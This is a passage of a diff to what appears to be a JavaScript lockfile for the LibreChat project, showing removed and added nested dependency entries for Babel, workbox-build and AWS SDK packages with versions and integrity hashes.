- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "librechat-data-provider/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
"mongodb-connection-string-url/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
"multer/type-is/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
@@ -8331,41 +8015,15 @@
"svgo/css-select/domutils/dom-serializer": ["dom-serializer@1.4.1", "", { "dependencies": { "domelementtype": "^2.0.1", "domhandler": "^4.2.0", "entities": "^2.0.0" } }, "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag=="],
- "terser-webpack-plugin/jest-worker/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
+ "workbox-build/@babel/core/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
- "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.29.0", "", {}, "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.22.20", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-wrap-function": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.22.20", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-wrap-function": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/globals": ["globals@11.12.0", "", {}, "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
-
- "workbox-build/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "workbox-build/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.28.6", "", { "dependencies": { "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw=="],
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils/@types/estree": ["@types/estree@0.0.39", "", {}, "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw=="],
@@ -8373,28 +8031,34 @@
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
+ "workbox-build/glob/jackspeak/@isaacs/cliui": ["@isaacs/cliui@9.0.0", "", {}, "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg=="],
+
+ "workbox-build/glob/path-scurry/lru-cache": ["lru-cache@11.2.2", "", {}, "sha512-F9ODfyqML2coTIsQpSkRHnLSZMtkU8Q+mSfcaIyKwy58u+8k5nvAYeiNhsyMARvzNcXJ9QfWVrcPsC9e9rAxtg=="],
+
"workbox-build/source-map/whatwg-url/tr46": ["tr46@1.0.1", "", { "dependencies": { "punycode": "^2.1.0" } }, "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA=="],
"workbox-build/source-map/whatwg-url/webidl-conversions": ["webidl-conversions@4.0.2", "", {}, "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="],
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": 